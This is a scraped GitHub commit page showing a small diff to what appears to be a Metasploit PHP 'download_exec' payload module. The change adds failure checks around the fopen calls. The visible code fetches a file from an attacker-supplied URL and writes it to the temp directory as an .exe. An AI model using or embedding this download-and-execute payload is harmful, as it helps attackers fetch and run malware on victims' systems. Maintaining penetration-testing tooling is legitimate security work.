We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 3c7f781 commit 83cb65dCopy full SHA for 83cb65d
modules/payloads/singles/php/download_exec.rb
@@ -56,7 +56,9 @@ def php_exec_file
56
}
57
$fname = sys_get_temp_dir() . DIRECTORY_SEPARATOR . "#{exename}.exe";
58
$fd_in = fopen("#{datastore['URL']}", "rb");
59
+ if ($fd_in === false) { die(); }
60
$fd_out = fopen($fname, "wb");
61
+ if ($fd_out === false) { die(); }
62
while (!feof($fd_in)) {
63
fwrite($fd_out, fread($fd_in, 8192));
64
0 commit comments